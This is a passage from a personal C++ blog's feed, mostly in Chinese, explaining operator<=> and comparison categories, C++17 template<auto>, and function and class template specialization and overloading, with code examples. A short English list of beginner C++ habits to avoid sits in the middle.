&lt;p&gt;strong_ordering和weak_ordering，它们有何区别呢？对于某个类型的对象，如果你想“严格比较”它们的”全部成员”，则用strong_ordering，否则用weak_ordering。有两个条件，一个是“严格比较”，像我前面实现的Name，对每个字符进行比较，所以我选择用strong_ordering，如果我想进行不区分大小写的比较，则返回类型应该选用weak_ordering；第二个条件是“全部成员”，我对Name的3个成员first_name&#x2F;mid_name&#x2F;last_name三个都纳入了比较的范围，所以是strong_ordering，如果只比较其中的一个或是两个，就用weak_ordering。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;weak-ordering&quot;&gt;weak_ordering&lt;&#x2F;h1&gt;
&lt;p&gt;如果要将全部的成员纳入比较范围，则只要用default，具体代码会由编译器帮你实现。但是如果只比较部分，就要自己实现呢。如何自己实现operator&amp;lt;=&amp;gt;呢？我再举个例子。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;struct ID {
    int id_number;
    auto operator&amp;lt;=&amp;gt;(const ID&amp;amp;) const = default;
};

struct Person {
    ID id;
    string name;
    string email;
    std::weak_ordering operator&amp;lt;=&amp;gt;(const Person&amp;amp; other) const
    {
        return id&amp;lt;=&amp;gt;other.id;
    }
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;lei-cheng-yuan-zhong-you-rong-qi-lei-xing-shi&quot;&gt;类成员中有容器类型时&lt;&#x2F;h1&gt;
&lt;p&gt;前面说了，operator&amp;lt;=&amp;gt;的代码可以由编译器来生成，但是有一个注意事项。就是类成员中有容器类型(例如vector)时，需要将operator==单独列出来，像这样：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;struct SomeType {
    int int_property;
    std::vector&amp;lt;int&amp;gt; some_ints; &amp;#x2F;&amp;#x2F; vector是容器
    std::strong_ordering operator&amp;lt;=&amp;gt;(const SomeType&amp;amp;) const = default;
    bool operator==(const SomeType&amp;amp;) const = default; &amp;#x2F;&amp;#x2F; 加上这一行
};

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这是为何呢？这是为了性能考虑的。编译器生成的operator==的代码，对于容器类型会先比较容器的size，如果size不同，则必定不等，size相等再去逐个比较内容，这样实现效率高，但是operator&amp;lt;=&amp;gt;要同时实现几个运算符的逻辑，它生成的代码是从头比到尾，对于容器也是如此，并不会先去比size，所以在有容器成员的时候它生成的operator==代码性能不是最高，这时候需要单独将operator==再明确写一次。&lt;&#x2F;p&gt;
&lt;p&gt;C++20的operator&amp;lt;=&amp;gt;大大地节省了程序员的时间，对于很多类，以前可能需要实现十几二十几运算符的，现在只需要几个了。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;operator-dui-yu-yu-yan-de-gai-jin&quot;&gt;operator&amp;lt;=&amp;gt;对于语言的改进&lt;&#x2F;h1&gt;
&lt;p&gt;operator&amp;lt;=&amp;gt;对于语言本身也有改进。C++20以前的比较运算符定义有两种方法，但是分别都有缺点。第一种是通过成员函数，假设有一个封装的Str类，是这样定义的：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;bool Str::operator==(const char*) const {...}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这样就可用if(s == &quot;xyz&quot;)了，但是if(&quot;xyz&quot; == s)却编不过， 需要作为firend函数定义两次&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;friend bool operator==(const Str&amp;amp;, const char*) const {...}
friend bool operator==(const char*, const Str&amp;amp;) const {...}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;不仅仅是对于==，对于其他&amp;lt;, &amp;gt;, !=, &amp;gt;=, &amp;lt;=同样需要实现两次，所以每个类与另一个不同类型的对象比较需要实现12个类似的函数。但是operator&amp;lt;=&amp;gt;就没这么麻烦，一次搞定。&lt;&#x2F;p&gt;
&lt;p&gt;第二种就是上面提到的friend函数，像这样定义：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;friend bool operator==(const Str&amp;amp;, const Str&amp;amp;) {...}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这样就可以用if(s == &quot;xyz&quot;)和if(&quot;xyz&quot; == s)了，但是又会有更严重的缺陷，假设某个类X可以转化为Str，则if(x1 == x2)也能编过，即使类X根本没有operator==，编译器会来找Str的operator==，这简直是一个bug。但是operator&amp;lt;=&amp;gt;不允许两个参数同时隐式转换。所以说operator&amp;lt;=&amp;gt;比以前的比较运算符定义方式肯定是要好。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;compare-ordering&quot;&gt;compare ordering&lt;&#x2F;h1&gt;
&lt;pre&gt;&lt;code&gt;+--------------------------------------------------------------------+
|                  |          Numeric  values          | Non-numeric |
|     Category     +-----------------------------------+             |
|                  | -1   | 0          | +1            |   values    |
+------------------+------+------------+---------------+-------------+
| strong_ordering  | less | equal      | greater       |             |
| weak_ordering    | less | equivalent | greater       |             |
| partial_ordering | less | equivalent | greater       | unordered   |
| strong_equality  |      | equal      | nonequal      |             |
| weak_equality    |      | equivalent | nonequivalent |             |
+------------------+------+------------+---------------+-------------+
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;比如a与b是整型，那么a&amp;lt;=&amp;gt;b返回std::strong_ordering类型的纯右值(prvalue)：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;如果a&amp;lt;b,(a&amp;lt;=&amp;gt;b)返回std::strong_ordering::less
如果a&amp;gt;b,(a&amp;lt;=&amp;gt;b)返回std::strong_ordering::greater
如果a与b全等&#x2F;相等,(a&amp;lt;=&amp;gt;b)返回std::strong_ordering::equal&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;如果a b是浮点值，就返回的是std::partial_ordering::less&#x2F;greater&#x2F;equivalent或者std::partial_ordering::unordered(如果ab中有一个NaN)&lt;&#x2F;p&gt;
&lt;p&gt;标准还有更多规定，比如a与b是指针，a与b是枚举等&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>31 nooby cxx habits you need to ditch</title>
        <published>2022-06-11T21:03:41+08:00</published>
        <updated>2022-06-11T21:03:41+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/06/31-nooby-cxx-habits-you-need-to-ditch/"/>
        <id>https://vercel.juzhong.asia/2022/06/31-nooby-cxx-habits-you-need-to-ditch/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/06/31-nooby-cxx-habits-you-need-to-ditch/">&lt;h1 id=&quot;31-nooby-cxx-habits-you-need-to-ditch&quot;&gt;31 nooby cxx habits you need to ditch&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;31-nooby-cxx-habits-you-need-to-ditch-1&quot;&gt;31 nooby cxx habits you need to ditch&lt;&#x2F;h1&gt;
&lt;ol&gt;
&lt;li&gt;using namespace std&lt;&#x2F;li&gt;
&lt;li&gt;using std endl in a loop&lt;&#x2F;li&gt;
&lt;li&gt;index based for when range-for fits better&lt;&#x2F;li&gt;
&lt;li&gt;rewriting std algorithms&lt;&#x2F;li&gt;
&lt;li&gt;using C array over std array&lt;&#x2F;li&gt;
&lt;li&gt;any use of reinterpret cast&lt;&#x2F;li&gt;
&lt;li&gt;casting away const&lt;&#x2F;li&gt;
&lt;li&gt;not knowing map bracket inserts element&lt;&#x2F;li&gt;
&lt;li&gt;ignoring const-correctness&lt;&#x2F;li&gt;
&lt;li&gt;not knowing string literal lifetime&lt;&#x2F;li&gt;
&lt;li&gt;not using structured bindings&lt;&#x2F;li&gt;
&lt;li&gt;out-params instead of returning a struct&lt;&#x2F;li&gt;
&lt;li&gt;not using constexpr&lt;&#x2F;li&gt;
&lt;li&gt;forgetting to mark destructor virtual&lt;&#x2F;li&gt;
&lt;li&gt;thinking class members init in order of init list&lt;&#x2F;li&gt;
&lt;li&gt;not knowing about default vs value initialization&lt;&#x2F;li&gt;
&lt;li&gt;MAGIC NUMBERS&lt;&#x2F;li&gt;
&lt;li&gt;modifying a container while looping over it&lt;&#x2F;li&gt;
&lt;li&gt;returning std move of a local&lt;&#x2F;li&gt;
&lt;li&gt;thinking std move moves something&lt;&#x2F;li&gt;
&lt;li&gt;thinking evaluation order is left to right&lt;&#x2F;li&gt;
&lt;li&gt;unnecessary heap allocations&lt;&#x2F;li&gt;
&lt;li&gt;not using unique ptr and shared ptr&lt;&#x2F;li&gt;
&lt;li&gt;not using make unique and make shared&lt;&#x2F;li&gt;
&lt;li&gt;any use of new and delete&lt;&#x2F;li&gt;
&lt;li&gt;any manual resource management&lt;&#x2F;li&gt;
&lt;li&gt;thinking raw pointers are bad&lt;&#x2F;li&gt;
&lt;li&gt;using shared ptr when unique ptr would do&lt;&#x2F;li&gt;
&lt;li&gt;thinking shared ptr is thread-safe&lt;&#x2F;li&gt;
&lt;li&gt;mixing up const ptr vs ptr to const&lt;&#x2F;li&gt;
&lt;li&gt;ignoring compiler warnings&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h1 id=&quot;lian-jie&quot;&gt;链接&lt;&#x2F;h1&gt;
&lt;p&gt;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=i_wDa2AS_8w&amp;amp;ab_channel=mCoding
https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=UCIKbUvEKfI&amp;amp;ab_channel=ACCUConference&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>template auto</title>
        <published>2022-06-11T20:28:44+08:00</published>
        <updated>2022-06-11T20:28:44+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/06/template-auto/"/>
        <id>https://vercel.juzhong.asia/2022/06/template-auto/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/06/template-auto/">&lt;h1 id=&quot;template-auto&quot;&gt;template auto&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;advantages-of-auto-in-template-parameters-in-c-17&quot;&gt;Advantages of auto in template parameters in C++17&lt;&#x2F;h1&gt;
&lt;p&gt;The template &amp;lt;auto&amp;gt; feature (P0127R1) was accepted into C++ in the ISO C++ 2016 meeting in Oulu, Finland.&lt;&#x2F;p&gt;
&lt;p&gt;An auto keyword in a template parameter can be used to indicate a non-type parameter the type of which is deduced at the point of instantiation. It helps to think of this as a more convenient way of writing:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;template &amp;lt;typename Type, Type value&amp;gt;

# For example,
template &amp;lt;typename Type, Type value&amp;gt; constexpr Type constant = value;
constexpr auto const IntConstant42 = constant&amp;lt;int, 42&amp;gt;;

# can now be written as

template &amp;lt;auto value&amp;gt; constexpr auto constant = value;
constexpr auto const IntConstant42 = constant&amp;lt;42&amp;gt;;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;where you don&#x27;t need to explicitly spell out the type any more. P0127R1 also includes some simple but good examples where using template &lt;auto&gt; with variadic template parameters is very handy, for example for implementations of compile-time lists constant values:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;template &amp;lt;auto ... vs&amp;gt; struct HeterogenousValueList {};
using MyList1 = HeterogenousValueList&amp;lt;42, &amp;#x27;X&amp;#x27;, 13u&amp;gt;;

template &amp;lt;auto v0, decltype(v0) ... vs&amp;gt; struct HomogenousValueList {};
using MyList2 = HomogenousValueList&amp;lt;1, 2, 3&amp;gt;;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;In pre-C++1z, while HomogenousValueList could be simply written as&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;template &amp;lt;typename T, T ... vs&amp;gt; struct Cxx14HomogenousValueList {};
using MyList3 = Cxx14HomogenousValueList&amp;lt;int, 1, 2, 3&amp;gt;;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;writing an equivalent of HeterogenousValueList would not be possible without wrapping the values in some other templates, for example:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;template &amp;lt;typename ... ValueTypes&amp;gt; struct Cxx14HeterogenousValueList {};
using MyList4 = Cxx14HeterogenousValueList&amp;lt;constant&amp;lt;int, 42&amp;gt;,
                                           constant&amp;lt;char, &amp;#x27;X&amp;#x27;&amp;gt; &amp;gt;;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;non-type-parameter-cannot-be-double&quot;&gt;non-type parameter cannot be double&lt;&#x2F;h1&gt;
&lt;pre&gt;&lt;code&gt;template&amp;lt;auto n&amp;gt; struct B { &amp;#x2F;* ... *&amp;#x2F; };
B&amp;lt;5&amp;gt; b1;   &amp;#x2F;&amp;#x2F; OK: template parameter type is int
B&amp;lt;&amp;#x27;a&amp;#x27;&amp;gt; b2; &amp;#x2F;&amp;#x2F; OK: template parameter type is char
B&amp;lt;2.5&amp;gt; b3; &amp;#x2F;&amp;#x2F; error: template parameter type cannot be double
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;mo-ban-te-hua-yu-mo-ban-han-shu-zhong-zai&quot;&gt;模板特化与模板函数重载&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;mo-ban-zhong-zai&quot;&gt;模板重载&lt;&#x2F;h2&gt;
&lt;p&gt;可以并存，并不代表可以被正常使用，因为可能会导致重载歧义。比如如果尝试调用f2(42)，那么很显然会导致歧义（使用模板3还是模板4？）&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;template&amp;lt;typename T1, typename T2&amp;gt;   &amp;#x2F;&amp;#x2F;模板1
void f1(T1, T2);
template&amp;lt;typename T1, typename T2&amp;gt;  &amp;#x2F;&amp;#x2F;模板2，与模板1的函数参数类型不同
void f1(T2, T1); 

template&amp;lt;typename T&amp;gt;  &amp;#x2F;&amp;#x2F; 模板3
long f2(T);
template&amp;lt;typename T&amp;gt;  &amp;#x2F;&amp;#x2F; 模板4，与模板3的返回值类型不同
char f2(T);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;han-shu-mo-ban-te-li-hua&quot;&gt;函数模板特例化&lt;&#x2F;h2&gt;
&lt;p&gt;函数模板只能全特化，不能偏特化，如果要偏特化的话只能重载&lt;&#x2F;p&gt;
&lt;h2 id=&quot;han-shu-mo-ban-zhong-zai-bu-cun-zai-pian-te-hua&quot;&gt;函数模板重载（不存在偏特化）&lt;&#x2F;h2&gt;
&lt;p&gt;因为偏特化版本本质上仍然是模板，所以如果需要的话，可以重载一个函数模板&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;template&amp;lt;class T&amp;gt;
T add(T a, T b) { return a + b;}

template&amp;lt;class T1&amp;gt;　　&amp;#x2F;&amp;#x2F; 重载版本，接收参数为指针
T1 add(T1* a, T1* b) { return *a + *b; }   
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果需要一个接收指针的偏特化版本，那么可以用重载模板实现（其实强行写偏特化版本，和模板函数重载版本一样）&lt;&#x2F;p&gt;
&lt;h2 id=&quot;lei-mo-ban-te-li-hua&quot;&gt;类模板特例化&lt;&#x2F;h2&gt;
&lt;p&gt;类模板既有全特化，又有偏特化
这里重新写一个更一般的模板类来说明类模板的特例化&lt;&#x2F;p&gt;
&lt;p&gt;类模板的偏特化会稍微复杂一点点，它有多种形式
类模板偏特化本质上都是指定部分类型，让偏特化版本称为普通版本的子集，若实例化时参数类型为指定的类型，则优先调用特例化版本&lt;&#x2F;p&gt;
&lt;h3 id=&quot;di-yi-chong-xing-shi&quot;&gt;第一种形式&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;template&amp;lt;class T1, class T2&amp;gt;      &amp;#x2F;&amp;#x2F; 普通版本，有两个模板参数
class B { ..... };
 
template&amp;lt;class T2&amp;gt;　　　         &amp;#x2F;&amp;#x2F; 偏特化版本，指定其中一个参数，即指定了部分类型
class B&amp;lt;int , T2&amp;gt; { ..... };　　&amp;#x2F;&amp;#x2F; 当实例化时的第一个参数为int 则会优先调用这个版本
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;di-er-chong-xing-shi-ye-shi-zui-zhong-yao-de-ban-ben&quot;&gt;第二种形式，也是最重要的版本&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;template&amp;lt;class T&amp;gt;     &amp;#x2F;&amp;#x2F; 普通版本
class B { ..... };
 
template&amp;lt;class T&amp;gt;　　　&amp;#x2F;&amp;#x2F;这个偏特化版本只接收指针类型的模板实参 
class B&amp;lt;T*&amp;gt; { ..... }; 
 
template&amp;lt;class T&amp;gt;
class B&amp;lt;T&amp;amp;&amp;gt; { ..... };     &amp;#x2F;&amp;#x2F; 这个偏特化版本只接受引用类型的模板实参
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;di-san-chong-xing-shi&quot;&gt;第三种形式&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;template&amp;lt;class T&amp;gt;    &amp;#x2F;&amp;#x2F;普通版本
class B { ..... };
 
template&amp;lt;class T&amp;gt;　　　&amp;#x2F;&amp;#x2F; 这种只接受用T实例化的vector的模板实参．也是一种偏特化
class B&amp;lt;vector&amp;lt;T&amp;gt;&amp;gt; { ......  }; 
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;lei-mo-ban-pian-te-hua-yu-stl&quot;&gt;类模板偏特化与STL&lt;&#x2F;h1&gt;
&lt;p&gt;偏特化在STL中最重要的两个应用&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ying-yong-zai-die-dai-qi-she-ji-zhong-wei-liao-shi-die-dai-qi-ji-ke-yi-cui-qu-chu-zhi-lei-xing-you-ke-yi-bao-rong-yuan-sheng-zhi-zhen&quot;&gt;应用在迭代器设计中，为了使迭代器既可以萃取出值类型，又可以包容原生指针&lt;&#x2F;h2&gt;
&lt;p&gt;如果要通过一个迭代器就能知道它的值类型，那么一般会使用iterator_traits
迭代器萃取技术的两个核心是：
１）在每个迭代器类中定义value_type值类型的类型成员，这样直接通过迭代器的value_type类型成员就可以知道值类型
２）问题就在于，迭代器必须兼容原生指针，而原生指针很难被重新定义，即要在原生指针的类中添加value_type的值类型的类型成员．这时候，靠的就是类模板的偏特化了．新添加一层iterator_traits类，专门萃取迭代器的属性，然后再对iterator_traits类设计原生指针与原生引用的偏特化版本，就解决了这个棘手的问题&lt;&#x2F;p&gt;
&lt;h2 id=&quot;type-traitslei-xing-cui-qu-dui-dai-te-shu-lei-xing-te-shu-chu-li-ti-gao-xiao-lu&quot;&gt;type_traits类型萃取，对待特殊类型，特殊处理，提高效率&lt;&#x2F;h2&gt;
&lt;p&gt;对于没有构造函数，析构函数等的内置类型，如果与复杂类型一样，执行同样的操作，显然是效率不高的
先实现一个对所有类型都设置一个最保守值的type_traits模板类，然后再对每个内置类型设置偏特化版本，内置类型设置一个更为激进的值，表明可以采取更为高效的操作来提高效率
比如copy函数，如果传递的对象是一个复杂类型，那么可能只能采取最保守的处理方式，一个一个的构造；如果是内置类型，这样显然太低效，使用memcpy()可能会好一些&lt;&#x2F;p&gt;
&lt;p&gt;其实iterator_traits也不止是处理兼容原生指针的问题，它也可以提高效率．
迭代器分为很多种，有可以随机访问的（vector），有只能前后一个一个移动的（list）,也有只能单向移动的（slist），所以一般把迭代器分为五种：
InputIterator　　　　　　　输入迭代器
OutputIterator 　　　　　 　输出迭代器
ForwardIterator　　　　　　单向迭代器
BidirectionIterator　　　　　双向迭代器
RandomAccessIterator　　　随机访问迭代器
比如一个advance(n)函数，对于单向迭代器只能一个一个移动过去，但是这种实现对于随机访问迭代器显然不是理想的处理方式
处理的方式就是先实现这五个类，用作标记用，在每个迭代器里面都定义迭代器类型的类型成员iterator_catagory，再对不同版本的迭代器实现不同的advance(n)处理方式&lt;&#x2F;p&gt;
&lt;h1 id=&quot;han-shu-mo-ban&quot;&gt;函数模板&lt;&#x2F;h1&gt;
&lt;p&gt;函数模板支持：overload(重载)，和full specialization(全特化)，但是暂不支持partial specialization(偏特化)。。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;overload-signature&quot;&gt;Overload &amp;amp;&amp;amp; Signature&lt;&#x2F;h2&gt;
&lt;p&gt;谈到重载就需要先介绍函数的签名（Signature）,它包含如下信息：&lt;&#x2F;p&gt;
&lt;p&gt;函数的裸名（不包含所属class或者namespace的作用域修饰，或者是被实例化以得到当前函数的函数模板的名字）。
函数所属的class或者namespace的作用域信息。如果该函数有内部链接属性的话，还应包含该函数所属的编译单元的相关信息。
如果函数是一个class的成员函数，且被const，volatile，或者const volatile修饰的话，还应包含这些信息。
如果函数是一个class的成员函数，且被&amp;amp;或者&amp;amp;&amp;amp;修饰的话，也应包含这些信息。
函数参数的类型（如果函数是经由函数模板实例化得到的话，该类型指的是模板参数被实例化之前的类型，比如T或者T1）.
如果函数是经由函数模板实例化得到，还应包含返回类型（非模板函数不包含此项内容）。
如果函数是经由函数模板实例化得到，还应包含模板参数（比如T）以及用来实例化改模板的类型。
如果两个函数有不同的函数签名，那么原则上它们就可以在程序中共存，比如下面这些模板&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;template&amp;lt;typename T1, typename T2&amp;gt;   &amp;#x2F;&amp;#x2F;模板1
void f1(T1, T2);
template&amp;lt;typename T1, typename T2&amp;gt;  &amp;#x2F;&amp;#x2F;模板2，与模板1的函数参数类型不同
void f1(T2, T1); 

template&amp;lt;typename T&amp;gt;  &amp;#x2F;&amp;#x2F; 模板3
long f2(T);
template&amp;lt;typename T&amp;gt;  &amp;#x2F;&amp;#x2F; 模板4，与模板3的返回值类型不同
char f2(T);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;但是可以并存，并不代表可以被正常使用，因为可能会导致重载歧义。比如如果尝试调用f2(42)，那么很显然会导致歧义（使用模板3还是模板4？）&lt;&#x2F;p&gt;
&lt;h2 id=&quot;mo-ban-pai-xu-yuan-ze&quot;&gt;模板排序原则&lt;&#x2F;h2&gt;
&lt;p&gt;如果第2个模板针对第1份列表可以进行成功的实参演绎（能够进行精确的匹配），而第1个模板针对第2份列表的实参演绎以失败告终，那么我们就称第1个模板要比第2个模板更加特殊。
反之，如果第1个模板针对第2份列表可以进行成功的实参演绎（能够进行精确的匹配），而第2个模板针对第1份列表的实参演绎失败，那么我们就称第2个模板要比第1个模板更加特殊。
否则的话（或者是两个都不能成功演绎，或者是两个都能成功演绎），我们就称这两个模板之间不存在特殊的排序关系。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;template&amp;lt;typename T&amp;gt;
int f(T)
{
    return 1;
}
 
template&amp;lt;typename T&amp;gt;
int f(T*)
{
    return 2;
}
 
int main()
{
    std::cout &amp;lt;&amp;lt; f(0) &amp;lt;&amp;lt; std::endl;
    std::cout &amp;lt;&amp;lt; f((int*)0) &amp;lt;&amp;lt; std::endl;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;让我们先考虑调用f(0)：实参的类型是int，如果用int替换T，就能和第1个模板的参数匹配。
然而，第2个模板的参数类型总是一个指针；因此，经过演绎之后，只有产生自第1个模板的实例才是该调用的候选函数。在这个调用中，重载解析并没有发挥作用。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;第2个调用f((int*)0) 就显得比较有趣：对于这两个模板，实参演绎都可以获得成功，于是就获得两个函数，
即f&amp;lt;int &lt;em&gt;&amp;gt;(int&lt;&#x2F;em&gt;)和f&amp;lt;int&amp;gt;(int &lt;em&gt;)。如果根据原来的重载解析观点，这两个函数和实参类型为 int&lt;&#x2F;em&gt;的调用的匹配程度是一样的， 这也就意味着该调用是二义性的。
然而，在这种情况下，还应该考虑重载解析的额外规则：选择“产生自更特殊的模板的函数”。因此，第2个模板被认为是更加特殊的模板&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h1 id=&quot;xian-shi-te-hua&quot;&gt;显式特化&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;quan-ju-de-lei-mo-ban-te-hua&quot;&gt;全局的类模板特化&lt;&#x2F;h2&gt;
&lt;p&gt;引入全局特化需要用到下面3个标记序列：template、&amp;lt; 和 &amp;gt; 。另外，紧跟在类名称声明后面的就是要进行特化的模板实参。下面的例子说明了这一点：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;template&amp;lt;typename T&amp;gt;
class S 
{
  public:
    void info() 
    {
      std::cout &amp;lt;&amp;lt; &amp;quot;generic (S&amp;lt;T&amp;gt;::info())\n&amp;quot;;
    }
};

template&amp;lt;&amp;gt;
class S&amp;lt;void&amp;gt; 
{
  public:
    void msg() 
    {
      std::cout &amp;lt;&amp;lt; &amp;quot;fully specialized (S&amp;lt;void&amp;gt;::msg())\n&amp;quot;;
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我们看到，全局特化的实现并不需要与（原来的）泛型实现有任何关联，这就允许我们可以包含不同名称的成员函数（info相对msg）。实际上，全局特化只和类模板的名称有关联。
指定的模板实参列表必须和相应的模板参数列表一一对应。例如，我们不能用一个非类型值来替换一个模板类型参数。然而，如果模板参数具有缺省模板实参，那么用来替换的模板实参就是可选的（即不是必须的）&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;template&amp;lt;typename T&amp;gt;
class Types 
{
public:
    typedef int I;
};
 
template&amp;lt;typename T, typename U = typename Types&amp;lt;T&amp;gt;::I&amp;gt;
class S;　　　　　　　　　　 &amp;#x2F;&amp;#x2F; (1)
 
template&amp;lt;&amp;gt; class S&amp;lt;void&amp;gt;  &amp;#x2F;&amp;#x2F; (2)
{　　　　　　　
public:
    void f();
};
template&amp;lt;&amp;gt; class S&amp;lt;char, char&amp;gt;; &amp;#x2F;&amp;#x2F; (3)
template&amp;lt;&amp;gt; class S&amp;lt;char, 0&amp;gt;;　 &amp;#x2F;&amp;#x2F; 错误：不能用0来替换U
 
int main()
{
    S&amp;lt;int&amp;gt;*　　 pi;　 &amp;#x2F;&amp;#x2F; 正确：使用（1），这里不需要定义
    S&amp;lt;int&amp;gt;　　　e1;　 &amp;#x2F;&amp;#x2F; 错误:使用（1），需要定义，但找不到定义
    S&amp;lt;void&amp;gt;*　　pv;　 &amp;#x2F;&amp;#x2F; 正确：使用（2）
    S&amp;lt;void,int&amp;gt;　sv;　 &amp;#x2F;&amp;#x2F; 正确：使用（2），这里定义是存在的
    S&amp;lt;void,char&amp;gt; e2;　 &amp;#x2F;&amp;#x2F; 错误：使用（1）,需要定义，但找不到定义
    S&amp;lt;char,char&amp;gt; e3;　 &amp;#x2F;&amp;#x2F; 错误：使用（3），需要定义，但找不到定义
}
 
template&amp;lt;&amp;gt;
class S&amp;lt;char, char&amp;gt; &amp;#x2F;&amp;#x2F; (3)处的定义
{};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;（模板）全局特化的声明并不一定是定义。另外，当一个全局特化声明之后，针对该（特化的）模板实参列表的调用，将不再使用模板的泛型定义，而是使用这个全局特化的定义。因此，如果在调用处需要该特化的定义，而在这之前并没有提供这个定义，那么程序将会出现错误。对于类模板特化而言，“前置声明”类型有时候是很有用的，因为这样就可以构造相互依赖的类型。另外，以这种方式获得的全局特化声明（应该记住它并不是模板声明）和普通的类声明是类似的，唯一的区别在于语法以及该特化的声明必须匹配前面的模板声明。&lt;&#x2F;p&gt;
&lt;p&gt;对于特化声明而言，因为它并不是模板声明，所以应该使用（位于类外部）的普通成员定义语法，来定义全局类模板特化的成员（也就是说，不能指定template&amp;lt;&amp;gt;前缀）：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
template&amp;lt;typename T&amp;gt;
class S;
 
template&amp;lt;&amp;gt; class S&amp;lt;char**&amp;gt; 
{
public:
    void print() const;
};
 
&amp;#x2F;&amp;#x2F;下面的定义不能使用template&amp;lt;&amp;gt;前缀
void S&amp;lt;char**&amp;gt;::print() const
{
    std::cout &amp;lt;&amp;lt; &amp;quot;pointer to pointer to char\n&amp;quot;;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;template&amp;lt;typename T&amp;gt;
class Outside 
{
public:
    template&amp;lt;typename U&amp;gt;
    class Inside {
    };
};
 
template&amp;lt;&amp;gt;
class Outside&amp;lt;void&amp;gt; 
{
&amp;#x2F;&amp;#x2F; 下面的嵌套类和前面定义的泛型模板之间并不存在联系
    template&amp;lt;typename U&amp;gt;
    class Inside
    {
    private:
        static int count;
    };
};
 
&amp;#x2F;&amp;#x2F;下面的定义不能使用template&amp;lt;&amp;gt;前缀
template&amp;lt;typename U&amp;gt;
int Outside&amp;lt;void&amp;gt;::Inside&amp;lt;U&amp;gt;::count = 1;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以用全局模板特化来代替对应泛型模板的某个实例化体。然而，全局模板特化和由模板生成的实例化版本是不能够共存于同一个程序中的。如果试图在同一个文件中使用这两者的话，那么通常都会导致一个编译期错误：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;template &amp;lt;typename T&amp;gt;
class Invalid {
};
 
Invalid&amp;lt;double&amp;gt; x1;　 &amp;#x2F;&amp;#x2F; 产生一个Invalid&amp;lt;double&amp;gt;实例化体
 
template&amp;lt;&amp;gt;
